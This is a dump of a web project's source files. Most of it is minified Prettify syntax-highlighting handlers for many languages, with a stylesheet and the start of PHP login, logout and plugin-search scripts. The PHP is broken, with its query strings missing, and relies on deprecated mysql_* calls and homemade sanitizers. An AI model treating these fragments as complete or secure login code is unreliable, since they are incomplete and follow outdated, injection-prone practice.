3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | var a=null; 17 | PR.registerLangHandler(PR.createSimpleLexer([["opn",/^[([{]+/,a,"([{"],["clo",/^[)\]}]+/,a,")]}"],["com",/^;[^\n\r]*/,a,";"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\b/,a], 18 | ["typ",/^:[\dA-Za-z-]+/]]),["clj"]); 19 | -------------------------------------------------------------------------------- /web/js/lang-css.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n\u000c"]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]+)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//], 2 | ["com",/^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}\b/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-dart.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"]],[["com",/^#!.*/],["kwd",/^\b(?:import|library|part of|part|as|show|hide)\b/i],["com",/^\/\/.*/],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["kwd",/^\b(?:class|interface)\b/i],["kwd",/^\b(?:assert|break|case|catch|continue|default|do|else|finally|for|if|in|is|new|return|super|switch|this|throw|try|while)\b/i],["kwd",/^\b(?:abstract|const|extends|factory|final|get|implements|native|operator|set|static|typedef|var)\b/i], 2 | ["typ",/^\b(?:bool|double|dynamic|int|num|object|string|void)\b/i],["kwd",/^\b(?:false|null|true)\b/i],["str",/^r?'''[\S\s]*?[^\\]'''/],["str",/^r?"""[\S\s]*?[^\\]"""/],["str",/^r?'('|[^\n\f\r]*?[^\\]')/],["str",/^r?"("|[^\n\f\r]*?[^\\]")/],["pln",/^[$_a-z]\w*/i],["pun",/^[!%&*+/:<-?^|~-]/],["lit",/^\b0x[\da-f]+/i],["lit",/^\b\d+(?:\.\d*)?(?:e[+-]?\d+)?/i],["lit",/^\b\.\d+(?:e[+-]?\d+)?/i],["pun",/^[(),.;[\]{}]/]]), 3 | ["dart"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-erlang.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t-\r ]+/,null,"\t\n\u000b\u000c\r "],["str",/^"(?:[^\n\f\r"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["lit",/^[a-z]\w*/],["lit",/^'(?:[^\n\f\r'\\]|\\[^&])+'?/,null,"'"],["lit",/^\?[^\t\n ({]+/,null,"?"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\n]*/],["kwd",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\b/], 2 | ["kwd",/^-[_a-z]+/],["typ",/^[A-Z_]\w*/],["pun",/^[,.;]/]]),["erlang","erl"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-go.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["pln",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])+(?:'|$)|`[^`]*(?:`|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\n\r]*|\/\*[\S\s]*?\*\/)/],["pln",/^(?:[^"'/`]|\/(?![*/]))+/]]),["go"]); 2 | -------------------------------------------------------------------------------- /web/js/lang-hs.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t-\r ]+/,null,"\t\n\u000b\u000c\r "],["str",/^"(?:[^\n\f\r"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["str",/^'(?:[^\n\f\r'\\]|\\[^&])'?/,null,"'"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+-]?\d+)?)/i,null,"0123456789"]],[["com",/^(?:--+[^\n\f\r]*|{-(?:[^-]|-+[^}-])*-})/],["kwd",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^\d'A-Za-z]|$)/, 2 | null],["pln",/^(?:[A-Z][\w']*\.)*[A-Za-z][\w']*/],["pun",/^[^\d\t-\r "'A-Za-z]+/]]),["hs"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-lisp.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,a,"("],["clo",/^\)+/,a,")"],["com",/^;[^\n\r]*/,a,";"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,a], 3 | ["lit",/^[+-]?(?:[#0]x[\da-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[de][+-]?\d+)?)/i],["lit",/^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[_a-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/i],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["cl","el","lisp","lsp","scm","ss","rkt"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-llvm.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^!?"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["com",/^;[^\n\r]*/,null,";"]],[["pln",/^[!%@](?:[$\-.A-Z_a-z][\w$\-.]*|\d+)/],["kwd",/^[^\W\d]\w*/,null],["lit",/^\d+\.\d+/],["lit",/^(?:\d+|0[Xx][\dA-Fa-f]+)/],["pun",/^[(-*,:<->[\]{}]|\.\.\.$/]]),["llvm","ll"]); 2 | -------------------------------------------------------------------------------- /web/js/lang-lua.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$))/,null,"\"'"]],[["com",/^--(?:\[(=*)\[[\S\s]*?(?:]\1]|$)|[^\n\r]*)/],["str",/^\[(=*)\[[\S\s]*?(?:]\1]|$)/],["kwd",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/,null],["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i], 2 | ["pln",/^[_a-z]\w*/i],["pun",/^[^\w\t\n\r \xa0][^\w\t\n\r "'+=\xa0-]*/]]),["lua"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-ml.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["com",/^#(?:if[\t\n\r \xa0]+(?:[$_a-z][\w']*|``[^\t\n\r`]*(?:``|$))|else|endif|light)/i,null,"#"],["str",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])(?:'|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\n\r]*|\(\*[\S\s]*?\*\))/],["kwd",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/], 2 | ["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i],["pln",/^(?:[_a-z][\w']*[!#?]?|``[^\t\n\r`]*(?:``|$))/i],["pun",/^[^\w\t\n\r "'\xa0]+/]]),["fs","ml"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-mumps.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^"(?:[^"]|\\.)*"/,null,'"']],[["com",/^;[^\n\r]*/,null,";"],["dec",/^\$(?:d|device|ec|ecode|es|estack|et|etrap|h|horolog|i|io|j|job|k|key|p|principal|q|quit|st|stack|s|storage|sy|system|t|test|tl|tlevel|tr|trestart|x|y|z[a-z]*|a|ascii|c|char|d|data|e|extract|f|find|fn|fnumber|g|get|j|justify|l|length|na|name|o|order|p|piece|ql|qlength|qs|qsubscript|q|query|r|random|re|reverse|s|select|st|stack|t|text|tr|translate|nan)\b/i, 2 | null],["kwd",/^(?:[^$]b|break|c|close|d|do|e|else|f|for|g|goto|h|halt|h|hang|i|if|j|job|k|kill|l|lock|m|merge|n|new|o|open|q|quit|r|read|s|set|tc|tcommit|tre|trestart|tro|trollback|ts|tstart|u|use|v|view|w|write|x|xecute)\b/i,null],["lit",/^[+-]?(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?/i],["pln",/^[a-z][^\W_]*/i],["pun",/^[^\w\t\n\r"$%;^\xa0]|_/]]),["mumps"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-n.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:'(?:[^\n\r'\\]|\\.)*'|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,a,'"'],["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,a,"#"],["pln",/^\s+/,a," \r\n\t\u00a0"]],[["str",/^@"(?:[^"]|"")*(?:"|$)/,a],["str",/^<#[^#>]*(?:#>|$)/,a],["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,a],["com",/^\/\/[^\n\r]*/,a],["com",/^\/\*[\S\s]*?(?:\*\/|$)/, 3 | a],["kwd",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\b/, 4 | a],["typ",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\b/,a],["lit",/^@[$_a-z][\w$@]*/i,a],["typ",/^@[A-Z]+[a-z][\w$@]*/,a],["pln",/^'?[$_a-z][\w$@]*/i,a],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,a,"0123456789"],["pun",/^.[^\s\w"-$'./@`]*/,a]]),["n","nemerle"]); 5 | -------------------------------------------------------------------------------- /web/js/lang-pascal.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["str",/^'(?:[^\n\r'\\]|\\.)*(?:'|$)/,a,"'"],["pln",/^\s+/,a," \r\n\t\u00a0"]],[["com",/^\(\*[\S\s]*?(?:\*\)|$)|^{[\S\s]*?(?:}|$)/,a],["kwd",/^(?:absolute|and|array|asm|assembler|begin|case|const|constructor|destructor|div|do|downto|else|end|external|for|forward|function|goto|if|implementation|in|inline|interface|interrupt|label|mod|not|object|of|or|packed|procedure|program|record|repeat|set|shl|shr|then|to|type|unit|until|uses|var|virtual|while|with|xor)\b/i,a], 3 | ["lit",/^(?:true|false|self|nil)/i,a],["pln",/^[a-z][^\W_]*/i,a],["lit",/^(?:\$[\da-f]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?)/i,a,"0123456789"],["pun",/^.[^\s\w$'./@]*/,a]]),["pascal"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-proto.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.sourceDecorator({keywords:"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\b/,cStyleComments:!0}),["proto"]); 2 | -------------------------------------------------------------------------------- /web/js/lang-r.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["str",/^'(?:[^'\\]|\\[\S\s])*(?:'|$)/,null,"'"]],[["com",/^#.*/],["kwd",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![\w.])/],["lit",/^0[Xx][\dA-Fa-f]+([Pp]\d+)?[Li]?/],["lit",/^[+-]?(\d+(\.\d+)?|\.\d+)([Ee][+-]?\d+)?[Li]?/],["lit",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|\d+))(?![\w.])/], 2 | ["pun",/^(?:<>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|[!*+/^]|%.*?%|[$=@~]|:{1,3}|[(),;?[\]{}])/],["pln",/^(?:[A-Za-z]+[\w.]*|\.[^\W\d][\w.]*)(?![\w.])/],["str",/^`.+`/]]),["r","s","R","S","Splus"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-rd.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\n\r]*/,null,"%"]],[["lit",/^\\(?:cr|l?dots|R|tab)\b/],["kwd",/^\\[@-Za-z]+/],["kwd",/^#(?:ifn?def|endif)/],["pln",/^\\[{}]/],["pun",/^[()[\]{}]+/]]),["Rd","rd"]); 2 | -------------------------------------------------------------------------------- /web/js/lang-scala.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^"(?:""(?:""?(?!")|[^"\\]|\\.)*"{0,3}|(?:[^\n\r"\\]|\\.)*"?)/,null,'"'],["lit",/^`(?:[^\n\r\\`]|\\.)*`?/,null,"`"],["pun",/^[!#%&(--:-@[-^{-~]+/,null,"!#%&()*+,-:;<=>?@[\\]^{|}~"]],[["str",/^'(?:[^\n\r'\\]|\\(?:'|[^\n\r']+))'/],["lit",/^'[$A-Z_a-z][\w$]*(?![\w$'])/],["kwd",/^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\b/], 2 | ["lit",/^(?:true|false|null|this)\b/],["lit",/^(?:0(?:[0-7]+|x[\da-f]+)l?|(?:0|[1-9]\d*)(?:(?:\.\d+)?(?:e[+-]?\d+)?f?|l?)|\\.\d+(?:e[+-]?\d+)?f?)/i],["typ",/^[$_]*[A-Z][\d$A-Z_]*[a-z][\w$]*/],["pln",/^[$A-Z_a-z][\w$]*/],["com",/^\/(?:\/.*|\*(?:\/|\**[^*/])*(?:\*+\/?)?)/],["pun",/^(?:\.+|\/)/]]),["scala"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-sql.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')/,null,"\"'"]],[["com",/^(?:--[^\n\r]*|\/\*[\S\s]*?(?:\*\/|$))/],["kwd",/^(?:add|all|alter|and|any|apply|as|asc|authorization|backup|begin|between|break|browse|bulk|by|cascade|case|check|checkpoint|close|clustered|coalesce|collate|column|commit|compute|connect|constraint|contains|containstable|continue|convert|create|cross|current|current_date|current_time|current_timestamp|current_user|cursor|database|dbcc|deallocate|declare|default|delete|deny|desc|disk|distinct|distributed|double|drop|dummy|dump|else|end|errlvl|escape|except|exec|execute|exists|exit|fetch|file|fillfactor|following|for|foreign|freetext|freetexttable|from|full|function|goto|grant|group|having|holdlock|identity|identitycol|identity_insert|if|in|index|inner|insert|intersect|into|is|join|key|kill|left|like|lineno|load|match|matched|merge|natural|national|nocheck|nonclustered|nocycle|not|null|nullif|of|off|offsets|on|open|opendatasource|openquery|openrowset|openxml|option|or|order|outer|over|partition|percent|pivot|plan|preceding|precision|primary|print|proc|procedure|public|raiserror|read|readtext|reconfigure|references|replication|restore|restrict|return|revoke|right|rollback|rowcount|rowguidcol|rows?|rule|save|schema|select|session_user|set|setuser|shutdown|some|start|statistics|system_user|table|textsize|then|to|top|tran|transaction|trigger|truncate|tsequal|unbounded|union|unique|unpivot|update|updatetext|use|user|using|values|varying|view|waitfor|when|where|while|with|within|writetext|xml)(?=[^\w-]|$)/i, 2 | null],["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i],["pln",/^[_a-z][\w-]*/i],["pun",/^[^\w\t\n\r "'\xa0][^\w\t\n\r "'+\xa0-]*/]]),["sql"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-tcl.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["opn",/^{+/,a,"{"],["clo",/^}+/,a,"}"],["com",/^#[^\n\r]*/,a,"#"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\b/,a],["lit",/^[+-]?(?:[#0]x[\da-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[de][+-]?\d+)?)/i],["lit", 3 | /^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[_a-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/i],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["tcl"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-tex.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\n\r]*/,null,"%"]],[["kwd",/^\\[@-Za-z]+/],["kwd",/^\\./],["typ",/^[$&]/],["lit",/[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],["pun",/^[()=[\]{}]+/]]),["latex","tex"]); 2 | -------------------------------------------------------------------------------- /web/js/lang-vb.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0\u2028\u2029]+/,null,"\t\n\r \u00a0\u2028\u2029"],["str",/^(?:["\u201c\u201d](?:[^"\u201c\u201d]|["\u201c\u201d]{2})(?:["\u201c\u201d]c|$)|["\u201c\u201d](?:[^"\u201c\u201d]|["\u201c\u201d]{2})*(?:["\u201c\u201d]|$))/i,null,'"\u201c\u201d'],["com",/^['\u2018\u2019](?:_(?:\r\n?|[^\r]?)|[^\n\r_\u2028\u2029])*/,null,"'\u2018\u2019"]],[["kwd",/^(?:addhandler|addressof|alias|and|andalso|ansi|as|assembly|auto|boolean|byref|byte|byval|call|case|catch|cbool|cbyte|cchar|cdate|cdbl|cdec|char|cint|class|clng|cobj|const|cshort|csng|cstr|ctype|date|decimal|declare|default|delegate|dim|directcast|do|double|each|else|elseif|end|endif|enum|erase|error|event|exit|finally|for|friend|function|get|gettype|gosub|goto|handles|if|implements|imports|in|inherits|integer|interface|is|let|lib|like|long|loop|me|mod|module|mustinherit|mustoverride|mybase|myclass|namespace|new|next|not|notinheritable|notoverridable|object|on|option|optional|or|orelse|overloads|overridable|overrides|paramarray|preserve|private|property|protected|public|raiseevent|readonly|redim|removehandler|resume|return|select|set|shadows|shared|short|single|static|step|stop|string|structure|sub|synclock|then|throw|to|try|typeof|unicode|until|variant|wend|when|while|with|withevents|writeonly|xor|endif|gosub|let|variant|wend)\b/i, 2 | null],["com",/^rem\b.*/i],["lit",/^(?:true\b|false\b|nothing\b|\d+(?:e[+-]?\d+[dfr]?|[dfilrs])?|(?:&h[\da-f]+|&o[0-7]+)[ils]?|\d*\.\d+(?:e[+-]?\d+)?[dfr]?|#\s+(?:\d+[/-]\d+[/-]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:am|pm))?)?|\d+:\d+(?::\d+)?(\s*(?:am|pm))?)\s+#)/i],["pln",/^(?:(?:[a-z]|_\w)\w*(?:\[[!#%&@]+])?|\[(?:[a-z]|_\w)\w*])/i],["pun",/^[^\w\t\n\r "'[\]\xa0\u2018\u2019\u201c\u201d\u2028\u2029]+/],["pun",/^(?:\[|])/]]),["vb","vbs"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-vhdl.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"]],[["str",/^(?:[box]?"(?:[^"]|"")*"|'.')/i],["com",/^--[^\n\r]*/],["kwd",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\w-]|$)/i, 2 | null],["typ",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\w-]|$)/i,null],["typ",/^'(?:active|ascending|base|delayed|driving|driving_value|event|high|image|instance_name|last_active|last_event|last_value|left|leftof|length|low|path_name|pos|pred|quiet|range|reverse_range|right|rightof|simple_name|stable|succ|transaction|val|value)(?=[^\w-]|$)/i,null],["lit",/^\d+(?:_\d+)*(?:#[\w.\\]+#(?:[+-]?\d+(?:_\d+)*)?|(?:\.\d+(?:_\d+)*)?(?:e[+-]?\d+(?:_\d+)*)?)/i], 3 | ["pln",/^(?:[a-z]\w*|\\[^\\]*\\)/i],["pun",/^[^\w\t\n\r "'\xa0][^\w\t\n\r "'\xa0-]*/]]),["vhdl","vhd"]); 4 | -------------------------------------------------------------------------------- /web/js/lang-wiki.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\d\t a-gi-z\xa0]+/,null,"\t \u00a0abcdefgijklmnopqrstuvwxyz0123456789"],["pun",/^[*=[\]^~]+/,null,"=*~^[]"]],[["lang-wiki.meta",/(?:^^|\r\n?|\n)(#[a-z]+)\b/],["lit",/^[A-Z][a-z][\da-z]+[A-Z][a-z][^\W_]+\b/],["lang-",/^{{{([\S\s]+?)}}}/],["lang-",/^`([^\n\r`]+)`/],["str",/^https?:\/\/[^\s#/?]*(?:\/[^\s#?]*)?(?:\?[^\s#]*)?(?:#\S*)?/i],["pln",/^(?:\r\n|[\S\s])[^\n\r#*=A-[^`h{~]*/]]),["wiki"]); 2 | PR.registerLangHandler(PR.createSimpleLexer([["kwd",/^#[a-z]+/i,null,"#"]],[]),["wiki.meta"]); 3 | -------------------------------------------------------------------------------- /web/js/lang-yaml.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["pun",/^[:>?|]+/,a,":|>?"],["dec",/^%(?:YAML|TAG)[^\n\r#]+/,a,"%"],["typ",/^&\S+/,a,"&"],["typ",/^!\S*/,a,"!"],["str",/^"(?:[^"\\]|\\.)*(?:"|$)/,a,'"'],["str",/^'(?:[^']|'')*(?:'|$)/,a,"'"],["com",/^#[^\n\r]*/,a,"#"],["pln",/^\s+/,a," \t\r\n"]],[["dec",/^(?:---|\.\.\.)(?:[\n\r]|$)/],["pun",/^-/],["kwd",/^\w+:[\n\r ]/],["pln",/^\w+/]]),["yaml","yml"]); 3 | -------------------------------------------------------------------------------- /web/js/prettify.css: -------------------------------------------------------------------------------- 1 | .pln{color:#000}@media screen{.str{color:#080}.kwd{color:#008}.com{color:#800}.typ{color:#606}.lit{color:#066}.pun,.opn,.clo{color:#660}.tag{color:#008}.atn{color:#606}.atv{color:#080}.dec,.var{color:#606}.fun{color:red}}@media print,projection{.str{color:#060}.kwd{color:#006;font-weight:bold}.com{color:#600;font-style:italic}.typ{color:#404;font-weight:bold}.lit{color:#044}.pun,.opn,.clo{color:#440}.tag{color:#006;font-weight:bold}.atn{color:#404}.atv{color:#060}}pre.prettyprint{padding:2px;border:1px solid #888}ol.linenums{margin-top:0;margin-bottom:0}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}li.L1,li.L3,li.L5,li.L7,li.L9{background:#eee} -------------------------------------------------------------------------------- /web/login_check.php: -------------------------------------------------------------------------------- 1 | '; 10 | $result = mysql_query($query); 11 | if ($row = mysql_fetch_array($result)) { 12 | $_SESSION['user'] = $logininfo['Name']; 13 | $_SESSION['isadmin'] = $logininfo['Is_Admin']; 14 | $arr = array('result'=>'True','username'=>$_SESSION['user'],'is_admin'=>$_SESSION['isadmin']); 15 | return json_encode($arr); 16 | } 17 | $arr = array('result'=>'False','errorinfo'=>'UserName or Password Wrong!'); 18 | return json_encode($arr); 19 | } 20 | ?> 21 | 'True','username'=>$_SESSION['user'],'is_admin'=>$_SESSION['isadmin']); 25 | echo json_encode($arr); 26 | } 27 | 28 | $user = check_sql(trim($_POST['username'])); 29 | $pwd = check_sql(trim($_POST['password'])); 30 | echo login_check($user,$pwd); 31 | ?> -------------------------------------------------------------------------------- /web/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/plugins_search.php: -------------------------------------------------------------------------------- 1 | array(), ); 12 | $result = mysql_query($query); 13 | while ($row = mysql_fetch_row($result)){ 14 | // var_dump($row); 15 | foreach ($row as $key => $value){ 16 | // echo $key.' => '.$value; 17 | $row[$key] = check_xss($value); 18 | } 19 | $ret['data'][] = $row; 20 | // 